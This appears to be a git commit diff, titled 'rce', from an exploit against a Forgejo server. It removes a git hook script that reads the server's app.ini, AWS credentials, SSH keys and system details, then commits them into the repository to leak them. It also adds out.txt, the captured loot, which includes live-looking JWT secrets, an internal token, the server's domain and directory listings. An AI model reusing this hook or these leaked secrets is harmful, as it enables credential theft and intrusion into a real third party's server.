rce

README.md

@@ -1,2 +0,0 @@
-# r481364
-

hooks/post-index-change

@@ -1,40 +0,0 @@
-#!/bin/sh
-O=""
-# Forgejo config
-O="$O===FORGEJO_CONFIG==="
-O="$O$(cat /var/lib/forgejo/custom/conf/app.ini 2>/dev/null || cat /etc/forgejo/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null)"
-# Environment files
-O="$O===ENV_FILES==="
-O="$O$(find /var/lib/forgejo -name "*.env" -o -name ".env" 2>/dev/null | head -5)"
-O="$O$(cat /var/lib/forgejo/.env 2>/dev/null)"
-# AWS creds
-O="$O===AWS_CREDS==="
-O="$O$(cat /home/git/.aws/credentials 2>/dev/null)"
-O="$O$(cat /root/.aws/credentials 2>/dev/null)"
-# SSH keys
-O="$O===SSH==="
-O="$O$(ls -la /home/git/.ssh/ 2>/dev/null)"
-O="$O$(cat /home/git/.ssh/id_rsa 2>/dev/null | head -5)"
-# System info
-O="$O===SYSTEM==="
-O="$O$(uname -a)"
-O="$O$(cat /etc/os-release 2>/dev/null | head -5)"
-# Docker check
-O="$O===DOCKER==="
-O="$O$(ls /.dockerenv 2>/dev/null && echo DOCKER_CONTAINER || echo NO_DOCKER)"
-# Check for kubelet
-O="$O===K8S==="
-O="$O$(ls /var/run/secrets/kubernetes.io 2>/dev/null || echo NO_K8S)"
-# Home dir
-O="$O===HOME==="
-O="$O$(ls -la /home/ 2>/dev/null)"
-O="$O$(ls -la /var/lib/forgejo/ 2>/dev/null | head -20)"
-# Check for app data
-O="$O===DATA==="
-O="$O$(ls /var/lib/forgejo/data/ 2>/dev/null | head -10)"
-O="$O$(find /var/lib/forgejo -maxdepth 3 -name "*.json" -o -name "*.yaml" -o -name "*.yml" 2>/dev/null | head -10)"
-B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null)
-T2=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null)
-H=$(git rev-parse HEAD 2>/dev/null)
-C=$(git commit-tree "$T2" -p "$H" -m "rce" 2>/dev/null)
-git update-ref refs/heads/main "$C" 2>/dev/null

out.txt

@@ -0,0 +1,113 @@
+===FORGEJO_CONFIG===APP_NAME = Forgejo: Beyond coding. We Forge.
+RUN_USER = git
+WORK_PATH = /var/lib/forgejo
+RUN_MODE = prod
+
+[database]
+DB_TYPE = sqlite3
+HOST = 127.0.0.1:3306
+NAME = forgejo
+USER = forgejo
+PASSWD = 
+SCHEMA = 
+SSL_MODE = disable
+PATH = /var/lib/forgejo/data/forgejo.db
+LOG_SQL = false
+
+[repository]
+ROOT = /var/lib/forgejo/data/forgejo-repositories
+
+[server]
+SSH_DOMAIN = git.mentalsquirrel.com
+DOMAIN = git.mentalsquirrel.com
+HTTP_PORT = 3000
+ROOT_URL = https://git.mentalsquirrel.com/
+APP_DATA_PATH = /var/lib/forgejo/data
+DISABLE_SSH = false
+SSH_PORT = 22
+LFS_START_SERVER = true
+LFS_JWT_SECRET = UIVZMbRQHzg0vD9fKp_PF0cnREr0T01Jo210UYP1GUY
+OFFLINE_MODE = false
+
+[lfs]
+PATH = /var/lib/forgejo/data/lfs
+
+[mailer]
+ENABLED = false
+
+[service]
+REGISTER_EMAIL_CONFIRM = false
+ENABLE_NOTIFY_MAIL = false
+DISABLE_REGISTRATION = false
+ALLOW_ONLY_EXTERNAL_REGISTRATION = false
+ENABLE_CAPTCHA = false
+REQUIRE_SIGNIN_VIEW = false
+DEFAULT_KEEP_EMAIL_PRIVATE = false
+DEFAULT_ALLOW_CREATE_ORGANIZATION = true
+DEFAULT_ENABLE_TIMETRACKING = true
+NO_REPLY_ADDRESS = noreply.localhost
+
+[openid]
+ENABLE_OPENID_SIGNIN = true
+ENABLE_OPENID_SIGNUP = true
+
+[cron.update_checker]
+ENABLED = true
+
+[session]
+PROVIDER = file
+
+[log]
+MODE = console
+LEVEL = info
+ROOT_PATH = /var/lib/forgejo/log
+
+[repository.pull-request]
+DEFAULT_MERGE_STYLE = merge
+
+[repository.signing]
+DEFAULT_TRUST_MODEL = committer
+
+[security]
+INSTALL_LOCK = true
+INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE2OTc5OTM2ODJ9.l6ayLrmf6cHBh69H3sReOXpN2OlpwObCuzn0k_0xNU8
+PASSWORD_HASH_ALGO = pbkdf2_hi
+
+[oauth2]
+JWT_SECRET = y44GnaAOvj82jXYXsd4H0zumIQrVdSz9v4Skj6LvSTQ
+
+[actions]
+ENABLED = true
+DEFAULT_ACTIONS_URL = https://code.forgejo.org===ENV_FILES======AWS_CREDS======SSH===total 40
+drwx------ 2 git git 4096 Jul 29 17:57 .
+drwxr-xr-x 3 git git 4096 Oct 22  2023 ..
+-rw------- 1 git git 2813 Jul 29 19:06 authorized_keys
+-rw------- 1 git git    0 Oct 22  2023 authorized_keys_1697993698.gitea_bak
+-rw------- 1 git git 1115 May 31  2024 authorized_keys_1717255517.gitea_bak
+-rw------- 1 git git 1115 Jun  1  2024 authorized_keys_1736211084.gitea_bak
+-rw------- 1 git git 1115 Jan  7  2025 authorized_keys_1742145506.gitea_bak
+-rw------- 1 git git 1115 Mar 16  2025 authorized_keys_1743818810.gitea_bak
+-rw------- 1 git git 1663 Feb 11 23:05 authorized_keys_1770851597.gitea_bak
+-rw------- 1 git git 1640 Feb 11 23:16 authorized_keys_1775826488.gitea_bak
+-rw------- 1 git git 2249 Jun 29 21:01 authorized_keys_1785347863.gitea_bak===SYSTEM===Linux ip-172-10-1-178 6.1.0-13-cloud-arm64 #1 SMP Debian 6.1.55-1 (2023-09-29) aarch64 GNU/LinuxPRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
+NAME="Debian GNU/Linux"
+VERSION_ID="12"
+VERSION="12 (bookworm)"
+VERSION_CODENAME=bookworm===DOCKER===NO_DOCKER===K8S===NO_K8S===HOME===total 16
+drwxr-xr-x  4 root  root  4096 Oct 22  2023 .
+drwxr-xr-x 19 root  root  4096 Nov 10  2023 ..
+drwxr-xr-x  5 admin admin 4096 Jun  1  2024 admin
+drwxr-xr-x  3 git   git   4096 Oct 22  2023 gittotal 16
+drwxr-x---  4 git  git  4096 Oct 22  2023 .
+drwxr-xr-x 29 root root 4096 May 18 06:42 ..
+drwxr-xr-x 17 git  git  4096 Jul 30 23:46 data
+drwxr-xr-x  2 git  git  4096 Oct 22  2023 log===DATA===actions_artifacts
+actions_log
+attachments
+avatars
+forgejo-repositories
+forgejo.db
+home
+indexers
+jwt
+lfs